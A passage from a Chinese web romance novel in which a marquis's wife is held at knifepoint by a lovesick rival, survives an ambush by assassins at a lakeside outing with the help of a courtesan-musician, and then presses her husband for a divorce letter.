“你明白就好,回去吧。”杜明月拍了拍她的肩膀,轻声道。 还在思索杜明月刚才那话到底是什么意思的段骆芙,听了这话,稀里糊涂的转身回到府里去了。 “咱们走吧。”杜明月目送段骆芙进了大门,这才转身和红豆先后上了马车,往郊外适合踏青的湖边去了。 春日的湖边青草茵茵,湖面波光粼粼,一片宁静。 草地上,出来踏青游玩的男男女女数不胜数,有放纸鸢的,有划船的,还有坐在一起划拳、猜行酒令的。 杜明月选了距离人群较远的一处亭子,看着红豆将马车里带来的东西一一拿出来放好。 “主子,您饿不饿?”红豆打开装着点心的食盒,一脸笑意和期待的看向杜明月。 “你吃吧。”杜明月一眼就瞧出了她的小心思,微笑着道,“拿了这么多,你敞开吃就是了。” 红豆一脸幸福,喜滋滋的嗷呜一口咬下去,杜明月放眼望向眼前的春景,只觉得天地辽阔,万物竞生,一片生机勃勃的景象,她非常喜欢。 就在杜明月沉浸在眼前的美景时,耳畔突然传来了阵阵悠扬美妙的琴音。 声音不远不近,像是从天上飘来的一般,杜明月心下一动,瞪大了眸子抬起头,四处寻找琴音传来的方向。 如此动听的琴音,和她那日在南风馆听到的曲子有异曲同工之妙。 难道是慕子叙,他今日也来踏青了? 杜明月心中升起一抹她自己都不曾察觉的欣喜,如同盈着一汪春水的眸子熠熠得闪着亮光。 终于,杜明月的目光被亭子后面的一处水榭吸引了注意,那远远站着,一身白衣的人,可不就是慕子叙吗? 杜明月唇角浮现出一抹明媚的笑意,静静的欣赏着慕子叙专心抚琴的模样。 因为有些远,杜明月并不能清楚的看清慕子叙脸上的情绪变化。 因此她并不知道,慕子叙其实在她回头之前,早就发现了她的身影。 在两人目光相对的一刹那,他的眼底染上浓浓的笑意,温柔的化作一汪温柔的春水,抚琴间时不时低垂的眉眼间更是满满的笑意。 “主子,咱们也有纸鸢,去放纸鸢吧?”红豆吃完了一小盘糕点,心满意足的擦了擦嘴角的碎屑,抬头大声的呼唤着杜明月。 红豆说着,甚至已经拿起了纸鸢,得意的展示给杜明月看。 杜明月想想自己如今身体完全康复了,多亏了慕子叙给的神药,一点后遗症没有,她也是应该享受一下恣意的美好时光了。 “好。”杜明月转身去拿纸鸢前,还感激的回头看了一眼远处的慕子叙。 东宫出来后遇见的慕子叙,也能算得上是救她一命、让她重生的贵人了,不然真是怕她那千疮百孔、摇摇欲坠的身体,支撑不到和段骆岐和离的那一日了。 “主子,您再放一放线……对,对,这边,这边……”红豆开心的帮杜明月拉着线,仰头盯着天上的纸鸢,兴奋的直跳。 杜明月以前也是天真烂漫,热烈明媚的性子,因此以前未出嫁时,在江南也爱玩纸鸢,放纸鸢的技术完全不在话下。 只是,今日不知道是风力太小,还是位置不对,杜明月总觉得手里的这根线有些不听话,拉着有点费劲。 杜明月一边放线,一边回头看,她刚才特意挑选了一处僻静宽阔的地方,现在周围几乎一个人都没有。 她更加放心大胆的扯着线跑了几步,却没想到下一瞬,手里的线一紧,接着一下子断了。 “主子,纸鸢挂树上了!”红豆一脸惋惜,着急的剁了一下脚,随即立马又很开朗的回头笑道,“没事,我会轻功,我去把纸鸢拿回来。” 说着,还没等杜明月回答,她便开心的朝着远处跑了过去。 杜明月微笑着看着她一路小跑的背影,此时也并没有意识到,在这么安静、看起来十分安全的环境中,竟然有危险在不知不觉的向她靠近。 就在杜明月抬头张望红豆取纸鸢时,突然一把短刀猛地架在了自己的脖子上! 杜明月心下一惊,脸上的笑容瞬间消失,她正要回头去看到底是谁竟敢青天白日的挟持自己,却听到身后传来了一声女子怨愤满满的呵斥。 “别动!你要不想你修长白皙的脖子被划出血,就别回头!”拿到女人的手又紧了紧,勒住杜明月的脖子,像是真的要准备穷凶极恶的下手一般。 杜明月感受到她的气息扑在自己的后肩上,声音还有些熟悉,好像在哪里听过一样。 而且她发觉,虽然身后女人圈住她的手臂确实用力了,但那短刀却自始至终没有碰到她的脖子,她虽清楚的看到了短刀闪出的寒芒,却并未感受到刀刃的冰冷。 杜明月察觉到背后女人并不是想真的伤害自己,便放下心来,淡定的微微侧转过头。 “孟小桥?”当看清身后之人的长相,杜明月愣住了。 上次,在南风馆,孟小桥为得慕子叙的青眼,打算豪掷千金的和自己竞价,她实在是太过印象深刻,因此一下子就将眼前女人的脸和她的名字对起来了。 “……”孟小桥有些惊慌的眼眸一对上杜明月镇定的眸子,整个人一下子就愣住了。 她甚至在心里暗暗感慨起来,完全忘记了不安和害怕。 好美的一双眸子,好美的一张脸,也难怪拂星公子愿意与她单独共处一室了。 孟小桥一想到拂星公子慕子叙,突然又难过委屈了起来,甚至直接忍不住哭了起来。 第六十六章 他对你不一样 “别动,这可是我杀猪解刨的刀,快着呢!你要不想被划破喉咙,就不要动”孟小桥狠狠吸了下鼻子,有些不甘心的道,“我还不想因为伤人被抓进牢里!你不要害我!” “……”听了这话的杜明月哭笑不得,微微低头,看着眼前的这把短刀一脸无奈。 现在到底是谁害谁啊!现在可是自己被孟小桥用刀威胁,可是听着她的话,好像是自己做了什么大逆不道的事情伤害了她一般。 “孟姑娘,我知道你本意只是为了吓唬我,不是真的要杀我。”杜明月认真的安抚她,也怕她一个不小心真的冲动了,“可是刀剑无眼,万一不小心伤了我,你有理也说不清了。” 杜明月见孟小桥没有反驳自己的意思,继续试探着道,“这样,你先把刀放下来,你想说什么,我都认真听你说,我保证!” “真的?”孟小桥犹豫了一下,终于还是放下了手里的刀,将双臂无力的垂了下来。 “孟小桥!” 杜明月还没来得及再问孟小桥,红豆鼓足了劲边这边冲了过来,准备抬起一脚狠狠踢向孟小桥。 “住手!”杜明月生怕红豆让事情变得更复杂了,急忙出声制止了红豆为保护自己做出的反击。 “主子?”红豆不得不停手,但心里不痛快,急得直跺脚。 杜明月淡定的摇了摇头,孟小桥疑惑的看着红豆。 “你怎么也知道我的名字?”孟小桥似是止住了哭声,一脸疑惑和不解。 红豆撇了撇嘴,心想:你以前天天去南风馆找公子,时不时又哭又笑的,整天出洋相,南风馆的人想不认识你都难。 当然这话,红豆没有宣之于口,杜明月仔细一想,也明白这其中是怎么回事了。 杜明月尴尬笑着转移她的注意力,“她是我的丫鬟。” “哦。”孟小桥回头看向杜明月,突然想起了自己刚才的委屈和不甘,又开始发泄起了自己的情绪。 她哭哭啼啼的道,“你是镇南侯夫人,你都有老公了,为什么还要总是出现在拂星公子面前啊…” 杜明月一愣,有些不明白她的意思。 孟小桥一想到,刚才拂星公子那里弹曲,她好不容易打听到拂星公子的行程,一路追来,苦苦哀求,才能留下来远远的听一会,可杜明月一出现,就将拂星公子的注意力全部吸引走了。 她清楚的看见,拂星公子的眼神一直望向杜明月,嘴角噙着一抹笑意,好像眼睛里只剩下杜明月一般。 她嫉妒的要命,又不敢跟拂星公子吐露半个字,直到看到他敛了笑容,眼底恢复一片冷意,她来注意到,杜明月不知道什么时候离开了。 就在那时,她也不知道自己是怎么了,脑海里突然闪过一个可怕的念头,如果杜明月永远不出现,那拂星公子的眼中是不是就能看到其他人,说不定,也能看见自己。 不过,刚才她挟持了杜明月的一瞬间,她就清醒了过来,她后悔了,好在杜明月没有追究,她也没有酿成大错,甚至她心底有隐隐生出一抹对杜明月的感激。 “你知道我为了讨拂星公子有多努力吗?我努力的杀猪赚钱,每天除了见拂星公子,剩的时间,我都在一刻不停的干活。我多勤劳努力啊,可拂星公子就是不肯多看我一眼!” 一开始哭哭啼啼的孟小桥越说越伤心,干脆放声大哭了起来。 “甚至我想给他一掷千金,他都不要,他完全不给我机会,他看都不看我一眼……呜呜呜……他是不是嫌弃我!呜呜呜……” 孟小桥发自内心的难过,让杜明月和红豆都有些不知所措的对视了一眼。 红豆确定孟小桥真的没有伤害杜明月的意图,脸上的警惕这时才完全消散。 杜明月看着孟小桥哭得如此伤心,不禁动了恻隐之心,拍了拍她的肩膀安慰道,“你不要妄自菲薄,慕公子本来就是那种冰冷的性子,谁都知道的。” “他是皎皎山间雪,又怎么会随意的因为哪个人就融化了呢,对不对,孟姑娘,慕公子他对你,对我,对别人都是这样的……” “不!”孟小桥突然抬头,瞪圆了眸子亮晶晶,一脸认真和笃定的道,“他对你不一样,他对你笑了!” “嗯?”杜明月语塞,愣愣的看着她。 她花银子买慕子叙的药,给慕子叙送礼表达谢意感谢他,出于礼貌,慕子叙对自己微笑,这是理所当然的,没什么不对啊。 “慕公子他对谁都挺客气的。”杜明月下意识想说,慕子叙除了客气,好像也挺温柔的,但又觉得自己对正在伤心的孟小桥说这些实在不妥,就住了嘴。 她本以为孟小桥会接受自己的解释,谁知她依然一脸认真的盯着自己,固执已见的道,“不。他真的对你不一样!很不一样!你们……” “孟姑娘!”杜明月生怕孟小桥一个人又在那里胡乱揣测一堆有的没的,急忙打断她道,“不知你是否愿意听我一言。我给你讲个故事!” 杜明月急急的开口,她自己也觉得有些奇怪,她怎么好像有些莫名的心虚,像是想掩饰什么一样。 可她和慕子叙之间真的没有什么啊! 杜明月懊恼的蹙了蹙眉,见孟小桥好奇的朝自己点了点头,她平复好了心情,这才开了口。 “曾经有一个桃子长在树枝上,到了成熟的季节,这颗桃子饱满圆润,散发着香甜的香气。它很想有珍惜它喜欢它的能将她摘下来。” “它就一直这么等着,后来一只野猫路过,爬上了树枝,它很激动,期待野猫能将自己摘下来,可是野猫没有,它对桃子不屑一顾,直接无视离开了。” 杜明月见孟小桥听得认真,继续道,“后来。又来了一只猴子。它一出现,立马将桃子摘下,爱不释手,桃子很高兴,终于笑了,它知道它也是会被爱的,不是没有价值的被扔在树枝上无人问津。” “我的故事讲完了,孟姑娘这下应该懂了吧?” 杜明月微微笑着看向孟小桥,希望她真的能理解,不要继续执着于不对的人。 第六十七章 湖边遇袭 孟小桥睁着懵懂的眼睛,似懂非懂的咽了口唾沫,犹豫了许久才终于道,“你说我是桃子?那谁是猴子?谁是猫?” “……”杜明月一噎,原本期待的闪着星光的眸子瞬间暗淡了下来。 原来她讲了半天,孟小桥一句也没听懂啊! 杜明月有些无奈的笑了,看来孟小桥是个直肠子,虽然头脑稍微简单了一点,容易冲动,但性格爽朗,也没有什么坏心眼和弯弯绕绕,倒是个好相处的。 这么一想,杜明月甚至看着孟小桥还多了几分可爱。 她也不再和孟小桥绕弯子了,而是和她直白的讲起了大白话。 “意思就是,不是孟姑娘你不好,而是慕公子并非你的良人,你们不是一路人。孟姑娘,你本身就很好,你以后会遇到那个能看见你的好,爱你,珍惜你的人,只是时机未到。” 这一回,孟小桥确实听懂了,眸中露出一抹被夸奖的喜色,冲淡了几分先前的难过。 “可是……”孟小桥一想起慕子叙那张谪仙般能勾魂的脸,又不禁沮丧了起来,“我真的很喜欢拂星公子啊,你这么能说会道的,那你能不能说服我不喜欢他啊?” 杜明月嘴角抽了抽,只觉得若是不了解的人,一定会觉得孟小桥是在故意为难自己。 她叹了口气,心想既然已经到了这一步了,只差临门一脚就能让孟小桥死心,那她就好人帮到底吧。 “是,我承认,慕公子的容貌和他的琴技一样,惊才绝艳、名动京城,他的俊俏美貌甚至带着几分妖冶勾魂,即便是女人,也几乎没有几个能美得过他的。” 这话杜明月是发自内心的,“但是他是那样一副冷心冷情的样子,没有人能靠近和融化的。” “孟姑娘,你想一想,若是他没有这一副好容貌,没有这一手好琴艺,和大街上男人一般无二,你是否还会像现在这么痴迷于他,对他心心念念,无法自拔?” 杜明月的话虽然不大,但是她说话时直勾勾的盯着孟小桥的眸子,带着几分逼视的意味,将这话问到了孟小桥的心里。 孟小桥被问得下意识后退了一步,心中升起退缩之意。 确实,如果只是个长相普通的男妓,她真的会这么疯狂吗?甚至想要将全部身家都倾注在他身上! 孟小桥好似突然清醒了过来,怔怔的看着杜明月说不出话来。 “回答不出来了是吗?除了慕公子的美貌和琴技,你对他还有多少了解呢?” 杜明月语气缓和,认真的道,“即便慕公子现在俊美不凡,他也总有年华老去的一天,你若对他只有肤浅的爱,那是支撑不了你走多远的。” 孟小桥瞪大了眸子,眼中露出了澄澈清醒的光芒,带着一丝欣喜。 “侯夫人,你说得太对了,我竟然才清醒过来!”孟小桥也不哭了,开心的捂住了自己的钱袋子,“我以后也不去南风馆乱花钱了,男人哪有钱靠得住啊!” 杜明月终于松了一口气,微笑安慰道,“孟姑娘能想通,真是太好了。” 孟小桥闻言有些不好意思的笑了,她抬头看向杜明月,真诚道,“侯夫人,我发现你真的很不一样,你懂得真多,我比不上你,我见过的京城女子也都比不上你!” 杜明月刚准备谦虚的同她客气几句,还没开口,就看到孟小桥一脸正色的对自己道,“你信我,拂星公子对你真的和别人不一样。” 杜明月心口一滞,微微有些愣神,又听孟小桥叹了口气,任命般的笑道,“他喜欢的要真是你,那我孟小桥认了!” “不过……”孟小桥突然像是想起了什么,有些尴尬的看向杜明月道,“你是侯府夫人,你们也不可能吧?哎,真是可惜……” 杜明月心口一沉,她一定会和离的,她不会一直是侯夫人,只是现在为时尚早,也没有告诉孟小桥的必要,只能沉默不作回应。 “先不说这些了,孟姑娘与我在这里相见,我们又有缘化干戈为玉帛,不如我们一起踏青,作个伴吧!” 杜明月为了转移话题,急忙开口邀请。 “那感情好啊!”孟小桥露出一排整齐的牙齿,笑得爽朗又阳光,她热情的一把揽过杜明月的胳膊,和她朝着湖边走去。 “今日天气真的难得的好,可惜我在这之前还傻傻的一直追着男人跑,都没能好好欣赏一下。” 孟小桥好像天生的乐天派,这才一会的功夫,在她脸上已经完全看不出一点,她曾为慕子叙如痴如醉、痛心疾首的痕迹了。 “对了,有没有吃的,我好像有点饿了。”孟小桥不好意思的摸着自己的肚子,紧接着杜明月便听到她的肚子“咕咕”的叫了起来。 杜明月也忍俊不禁的笑了,她朝着亭子的方向走去,“有,在亭子那边,走吧。” 话音刚落下,杜明月突然感到身后好像突然刮起一阵阴冷的风,满是危险的气息。 红豆也同样意识到了,甚至比她的反应还要快,已经抽出腰间的佩剑和突然冲出来的黑衣人缠斗了起来。 但奈何黑衣人的数量太多了,杜明月已经瞧见的就已经有七八个了,黑压压的一片都朝着自己这边挥刀而来。 红豆虽然努力抵挡,但总有一两个漏网之鱼几次差点近了杜明月的身。 “孟姑娘,走!”杜明月眼看着还有黑衣人冒出来,担心红豆会被他们耗尽体力,便准备去搬救兵,打算拉着孟小桥一起走。 孟小桥本来也确实准备和她一起走的,可这时突然有个黑衣人冲出来,朝着杜明月拉着孟小桥的胳膊就砍了过去。 “你先走!”孟小桥猛地抽出手,一把推开杜明月,然后拿出自己的短刀,也和那黑衣人过了两招,缠斗在一起。 “啊!”孟小桥后背突然被另一个黑衣人砍了一刀,杜明月犹豫间,见那人还要再砍第二刀,急忙捡起一个不大不小的石头扔过去。 黑衣人被打到了手,没有继续看下去,孟小桥一刀扎进对面人腰上,这才转身跑到杜明月身边,要拉着她一起跑。 第六十八章 被慕子叙所救 就在两人准备努力奔跑的时候,突然迎面飞来两道白色的身影,速度快得杜明月甚至一开始都看不清迎面而来的到底是谁。 可似乎是冥冥中有心灵感应似的,杜明月突然停下了脚步,下意识的回头。 此时鼻尖充盈的清香也让她意识到,她真的没有看错,是慕子叙带着伴竹突然出现在他们面前,犹如从天而降一般向他们伸出了援手。 “是拂星公子!哇好厉害的身手!”孟小桥一看到慕子叙,眼睛又亮了起来,甚至像是完全忘记了自己的伤痛,开心的直拍手。 “我要去帮他,说不定拂星公子会被我的勇敢吸引!”还是没有完全死心的孟小桥,想再最后努力一次看看! 然而,她才刚朝着慕子叙迈开步子,就看到慕子叙动作优雅的转着折扇,快得如同一片柳叶,转瞬间,他周围就哗啦啦的倒下了一大片的黑衣人。 还有少部分倒在了伴竹的剑下,就在他犹豫到底要不要上的时候,一个准备逃跑的漏网之鱼突然抓过了离自己最近的孟小桥,将刀架在了她的脖子上。 “都别过来!不然我杀了她!”那黑衣人边走边退,此时慕子叙已经一个飞身到了跟前, 孟小桥又怕又兴奋,看着慕子叙的眼睛里如同装了漫天的星辉,闪闪发亮。 “拂星公子,我……” 刷! 孟小桥的话还没有说完,只看见一个快得看不到轨迹的飞刀猛地朝自己飞来,她下意识的害怕的闭上了眼睛。 就在她以为自己要晕倒时,突然感觉自己肩上的手一松,旁边有个人重重的摔在了地上。 孟小桥突然大着胆子睁开眼,发现慕子叙的飞到正中那黑衣人的眉心,那黑衣人甚至没来得及闭眼,已经咽气了。 慕子叙收回目光,下意识的搜寻杜明月的身影,眼中还带着几分紧张和后怕。 见杜明月安然无恙,只是有些受惊,这才松了一口气,缓缓的朝着她走过去。 孟小桥看到慕子叙朝着她的方向走来,心里立马喜滋滋的,心情一放松,后背传来的巨大痛楚让她一下子回过神来。 意识到自己受伤,正在眼中流血的孟小桥倒吸一口凉气,两眼一黑倒下前,看到慕子叙到了自己跟前,就更加安心的闭上眼,相信自己一定会落入一个温暖可靠的怀抱。 孟小桥确实落入了一个十分可靠的怀抱,只是那不是慕子叙的,而是伴竹的。 红豆还凑近关心的撑开她的眼皮看了一下,“虽然伤的不轻,但没有生命危险。” 此时,慕子叙安静的站在杜明月身前,他将一只手背在身后,那只隐藏的手紧紧攥着,舒缓着他的不安和紧张。 他不敢想象,如果自己再来的晚一点,或者那些黑衣人的刀再快一点,结果会怎么样。 他差点又要失去她了。 他恨自己没有立场,也没有身份,更无法时时刻刻在她身边保护她。 慕子叙沉默的看着杜明月,可杜明月总觉得他的眼底有惊涛骇浪,似乎在极力克制眸中汹涌澎湃的情绪,甚至她好像能看出来,他似乎有些生气。 他在气什么? 杜明月不理解,或许这只是她惊恐后怕的错觉? 沉默许久,杜明月先开了口。 “慕公子,没想到你的身手竟然这么好。”杜明月确实有些意外,眼底还带着几分震惊。 慕子叙低垂下眉眼,敛去了眼底所有的情绪,再抬眼,眼底是同往常一样的清冷,但带着一点点的温柔。 他失笑道,“可惜,侯夫人似乎只记得南风馆的慕子叙,却不记得五年前的慕子叙了。” 杜明月猛地惊觉自己好像说错话了,她脸色尴尬的急忙摇头,“慕公子,我无意冒犯,真的只是单纯有些意外。” 慕子叙淡淡笑道,“我知侯夫人不是有意让我难堪,只是你真的不记得我以前是做什么的了。我也只是实话实话,没有别的意思,侯夫人不必紧张。” 最后几句话,慕子叙说得十分认真,他确实不想杜明月内疚,但看着她的眼底却闪过一丝悲伤和心痛。 如果在杜明月出嫁前,在恒王府未获罪之前,两人若是能再次相遇,他若是能大胆的吐露心声,两人之间的关系会不会和现在不一样。 “慕公子?”杜明月看着慕子叙望着自己出神,不知为何自己有些莫名的紧张和尴尬,只能犹豫的开口唤了唤他。 慕子叙回过神来,将自己悲伤的情绪全部压了下去,温柔的望着杜明月。 “孟姑娘受伤了,还挺严重的。”伴竹扛着孟小桥适时地出现,打破了他们两人之间有些尴尬的氛围。 杜明月这才回头,看到了被伴竹扛麻袋一般扛在肩上的孟小桥,甚至还有鲜血顺着孟小桥的肩膀低落下来。 “伤得这么重?要去看大夫静养才行!”杜明月慌忙上前查看,想到孟小桥这是为保护自己而受的伤,又感动又愧疚。 “伴竹,你帮我把孟姑娘扛到马车上吧,我带回侯府去照顾。”杜明月有些着急。 伴竹看了一眼慕子叙,慕子叙解释道,“你们来时的车夫已经被伴竹抓起来了。” “刚伴竹从你们马车旁边经过,发现他鬼鬼祟祟,目光凶狠,觉得是有蹊跷,便留了个心眼,他和刚才这些黑衣人是一伙的。” 慕子叙有些不好意思的道,“马车被伴竹动手时踢坏了,你们乘坐我的马车回去吧。” 慕子叙说着给了伴竹一个眼色,伴竹急忙将肩上的孟小桥放下,交给红豆照看。 “我去把马车赶来。”伴竹话音刚落,人已经走出去了好远。 慕子叙蹲下身子查看孟小桥的病情,对杜明月道,“你有救心丸吗?” 杜明月也蹲下了身子,看着他点了点头。 慕子叙放心道,“那便好,回去以后,先给她一粒救心丸,之后让府医处理伤口,进行医治即可。” “对了,慕公子你是什么时候出现在这附近的?”杜明月小心翼翼的问着,脸颊染上了一抹可疑的红晕。 第六十九章 带回府中 慕子叙饶有兴致的看着她,目光中带着一点霸道的侵略感。 “很久了,本意想来僻静的湖边走走,结果听你在开导孟姑娘,我这才没有上前。”慕子叙悠悠的开口,十分期待杜明月接下来的反应。 “你都听到了?”杜明月一惊,好看的眸子瞪大,如同一只受惊的小鹿,满脸羞怯,“真的都听到了?” 慕子叙也没打算瞒着她,认真的点点头,十分落落大方,坦坦荡荡的反而让杜明月不好意思了。 慕子叙如实以告,“是,我都听到了。” “你那番夸赞我的话都是真的?”不等杜明月开口,慕子叙先开口追问。 他的目光紧紧的盯着杜明月,不想错过她任何一个细微的表情。 “什么……什么话?”杜明月突然心虚,只觉得面红耳赤,没想到她那番夸张的话会落进慕子叙的耳朵里,现在还被他当面追问,实在是太难为情了! 杜明月低下头,故意避开慕子叙灼热的目光。 但显然慕子叙并没有打算放过她,还在继续追问,明示的十分明显,“就那些说我生的好看那些话,侯夫人真的觉得我生得俊俏?” “我……”杜明月被慕子叙盯得面红耳赤,抬头看到伴竹牵着马车过来,如同获救了一般慌乱道,“孟姑娘伤势严重,我要带回府中医治。” 说着,她手忙脚乱帮着伴竹把孟小桥抬上马车,抬头发现今日慕子叙乘坐的竟不是南风馆的马车。 看来他今日一定是想安静的出来散散心,不想被京城那些疯狂痴迷于他的女子发现,可惜碰见了自己,还遇上了这样的麻烦事,估计散心的好兴致都没了吧。 杜明月一脸歉意的看向慕子叙,却对上了慕子叙那双满是柔情的眸子,他的唇边还噙着一抹似有似无的笑意。 杜明月的心没来由的一跳,有些慌乱,只能匆忙的低下头,避开了他的目光。 她一定又是产生错觉了! 怪不得京城那么多女人都被他迷住了!他一定是会什么勾魂术! 杜明月暗暗蹙眉,心想自己可不是那种肤浅,只看皮相的女人,得时刻保持清醒才行!绝不能被慕子叙迷惑! 慕子叙疑惑的看着杜明月蹙眉,神情变了又变,想要开口关心,又觉得不妥。 好在她现在的眉头已经舒展开了,慕子叙暗暗松了口气,看向伴竹。 “你送侯夫人她们回去吧。”慕子叙对伴竹说完,依依不舍的看向杜明月,克制住眼底的深情。 马车缓缓前行,慕子叙一袭白衣,负手立在原地,望着远处久久出神。 伴竹架着马车,一路平稳的到了镇南侯府朱红色的大门前。 红豆正要伸手去背孟小桥,伴竹却已经孟小桥扛在了肩膀上。 “侯夫人,我帮你们送进去吧。”伴竹一脸热心,杜明月也没有拒绝的理由。 将孟小桥安顿在摘月居的厢房后,伴竹便行礼匆匆告辞离开了。 杜明月拿来装着救心丸的药瓶,红豆扶起孟小桥喂她吃下。 “好在刀上无毒,又吃了救心丸,现在只要处理一下孟姑娘身上的伤,再好好休养几日就没事了。”杜明月对红豆道,“去将府医叫来吧,孟姑娘背上的伤口很深,不能耽搁太久。” 红豆急忙去叫来了府医,给孟小桥处理好伤口后,留下药方便离开了。 没一会,杜明月回府,还带了一个受伤女人的消息,便在侯府不胫而走了。 大概又过了半个时辰,红豆正在廊下给孟小桥熬药,一抬头看到段骆岐脚步匆匆,一阵风似的从自己面前过去了。 “怎么又来?”红豆皱着眉头,低声嘟囔了一句,因为心中不满,握着蒲扇的手都用力的扇了两下。 厢房内,杜明月正守着孟小桥,因她还没有醒,杜明月便随便找了本书拿在手里看着,消磨时间。 “明月!明月!你受伤了吗?”段骆岐冲进主屋杜明月的卧室,却没有发现她的踪迹,便大声的呼唤了起来,“明月,你在哪儿,我来看看你。” 榻上,孟小桥不舒服的皱了皱眉,原本不想搭理段骆岐的杜明月见状,将书籍放到一侧,起身走了出去。 杜明月迈出屋子,将身后的门关上。 “侯爷如此喧哗,是生怕我伤的不重吗?”杜明月冷冷睨了他一眼。 即便段骆岐现在一脸着急和关心的模样,像是发自真心的,可杜明月内心冰冷,毫无触动,甚至在她看来,段骆岐脸上只有虚伪和做作。 杜明月心底一片凉意,突然意识到,或许以前他对自己的关心和爱护也都是伪装的,可因为自己喜欢,便将他所做的一切都美化成了发自内心的。 正在杜明月出神之际,段骆岐猛的一步上前,抓住她的手,十分关切的上下打量。 “胡说,你哪怕受一点伤,我也是会心疼的。”段骆岐目光温柔的看着她,十分期待她的回应。 杜明月被他虚与委蛇的关心恶心到,一把将他的手甩开。 段骆岐一愣,看清杜明月眉眼间对自己的厌恶,心中猛的一痛,感觉呼吸都有些不顺畅了。 “别碰我!”杜明月不顾段骆岐愣怔伤心的模样,冷冷开口拒绝了他的关心,“不管我受没受伤,都不劳侯爷费心,侯爷还是把关心留着给另外两位姨娘吧。” 杜明月开始赶客,“屋里还有病患,侯爷还是不要在这里惊扰伤员了,赶紧回去吧。” “不是你受伤!那太好了!”段骆岐还不想走,只能尴尬的继续嘘寒问暖。 杜明月微微蹙眉,不满的看着段骆岐,什么时候他也喜欢纠缠不休这一套了。 “抓到凶手了没有?”见杜明月看着他不说话,段骆岐眸子一亮,又开始转移话题,“如果今日是我和你一起去的话,一定不会遇到这么危险的事情!” 段骆岐一脸认真的承诺道,“下次,我陪你出去,就算有这种情况,我也一定会保护你!” 他原以为杜明月听到这话会很感动,甚至勾起以往美好的回忆,谁知杜明月不仅没有触动,反而一脸狐疑的打量着他。 段骆岐心中一惊,不明白杜明月的眼神是什么意思。 第七十章 再次索要和离书 “侯爷为何说的如此肯定?”杜明月缓缓开口,语气里带着怀疑和质问,“莫不是侯爷故意安排人做的,就是为了和我说这些,让我相信,没有侯爷出行便是不安全的?” “胡说!”段骆岐一愣,没想到她竟然会怀疑自己的好心,又气又恼道,“我怎么会做这种蠢事!” 段骆岐气得脖子青筋暴露,“如今我被停职在家,安分守己都不够,难道会给自己找麻烦吗!” “再说,即便真的是我做的,那也只会是想吓吓你,又怎么会让他们真的下这么重的手!”段骆岐红了眼眶道,“你竟然怀疑我?作为你的枕边人,你竟然怀疑我?” 段骆岐的声声质问中透着无奈和挫败,他真的没想到,杜明月内心竟对自己失望至此,凉薄至此。 杜明月柳眉微挑,其实她心中早就猜到了这事儿应该不是段骆岐做的,只是想诈他一下,看看他的反应。 “好,那就算不是你,估计也是你结下的仇家寻仇,这才牵连到我的头上,今日若不是孟姑娘挺身而出,那被你拖累到受重视躺在里面的人就是我!” 杜明月冷冰冰的开口,向段骆岐伸出手说出自己真正的目的,“你要是真的担心我,与其在这里做些无用的嘘寒问暖,不如直接将和离书给我。” “从此,我们撇开关系,这样你有多少仇家,我都不管,他们也不会找到我的头上。” 杜明月的话比她的态度更加冰冷伤人,“我已经不想再和你扯上任何关系了!再也不想听别人叫我侯夫人了!” 段骆岐一噎,胸口闷闷的传来一阵钝痛,他不敢置信的看着杜明月,她竟然是这么想的吗? 他明明这么努力的想要修复两人的关系,想要与她重修旧好,她怎么能如此冷酷无情,置两人过去的感情于不顾! 段骆岐喉咙滚动,咽了咽口水,半晌才开口道,“还不到时候,现在不能给你和离书!” 他说完,转身不再做任何的停留,几乎是逃也似的离开了摘月居的院子。 段骆岐刚走,红豆就端着煎好的冒着热气的中药走了过来。 “主子,我刚看侯爷灰溜溜的走了,王子真狼狈!”红豆毫不掩饰自己的嘲讽之意,杜明月对段骆岐怎么样并不关心,只是内心觉得有些可惜。 她本想趁着这次机会再次索要和离书的,没想到段骆岐碰了一鼻子灰还是不肯立马将和离书给她。 杜明月有些想不明白,她的话都已经说的那么直白和过分了,段骆岐到底在犹豫什么,一个和离书竟然要给的这么拖泥带水,叫人将耐心消磨殆尽,心生厌烦。 不行,看来她得再努努力,想想别的办法。 “先进去吧,孟姑娘应该快醒了。”杜明月转身打开房门,和红豆两人一前一后的进了门。 两人刚进去,就看到孟小桥正一脸痛苦,皱着眉头准备起身。 杜明月急忙上前将她扶住,红豆递来中药。 “孟姑娘,你身上的伤已经处理过了,已无大碍,来,先把药喝了。”红豆将药递过去,还没有完全清醒的孟小桥接过来,就直接大口喝掉了。 “有点苦。”孟小桥皱着眉头打了个寒颤,这中药的苦味直冲头顶,她好像这才真的清醒了过来。 “哎?这里是哪里?”孟小桥抬头四处打量,只觉得屋子又大又宽敞,屋里还有淡淡的果香和花香,让人心旷神怡,很舒服。 “镇南侯府。”杜明月如实相告。 孟小桥若有所思的点点头,突然像是想起了什么,不顾身上的疼痛,往杜明月跟前凑了凑,兴奋的睁大眸子问道,“那……我是不是被拂星公子抱进来的?” 杜明月抿唇,看着她眼睛亮晶晶的模样,都不好意思打击她。 “那日我记得很清楚,拂星公子在我晕倒的时候,冲着我给我开了,满眼都是关心,我记得我闭眼倒下的一瞬,他已经在我身边了!一定是他接住了我,将我抱回来的对不对!” 孟小桥越说越激动,其实她心里也知道慕子叙是她够不到的山间明月,但如果能和他亲密接触一下,被他关心,那也是死而无憾了。 “才不是呢!”大大咧咧的红豆看不下去她沉迷在自己想象中的样子了,开口道,“是伴竹,伴竹将你扛回来的。” “扛?”孟小桥吃惊的睁大了眸子,一脸不敢置信的看着红豆,像是在期待着她的否认一般,但没想到红豆接下来的话更扎心。 “对啊,扛,就像这样……”红豆模仿伴竹的动作,“像扛猪一样把你扛回来的,然后往这床上一放,就走了。” 红豆还有些不满的道,“我还说他来着呢,你伤了后背,他也不知道轻一点,一点也不细心,还不如我!” 红豆正眉飞色舞的说着,只见孟小桥一张脸沮丧的耷拉了下来,原本亮晶晶的眸子里显得黯淡无光,让她看起来像是伤的更重了。 “算了,我就不该问,多余问你。”孟小桥噘着嘴,一脸失落沮丧的神情,准备将自己往身后的被子里一摔,想直愣愣的躺下去。 然而,她的后背才刚刚接触到床铺,猛地瞪大了眼睛,发出了杀猪般的叫声,直挺挺的坐起来了,眼睛也有了光! 什么男人不男人的,哪有疼痛来的让人清醒! 杜明月强忍住笑意,半晌才平复了心情。 她给孟小桥检查了一下伤口的纱布,“没事,没有渗出血来。” “这几日因为还要换药,你又是为了保护我才受伤的,这几日你便留在我这里吧,我和红豆照顾你。”杜明月抬眸,认真的看着孟小桥。 孟小桥先是一愣,随即一脸惊喜和期待的道,“真的吗?我真的可以留在这府上养伤吗?那你能不能没事带我转转,让我长长见识。” 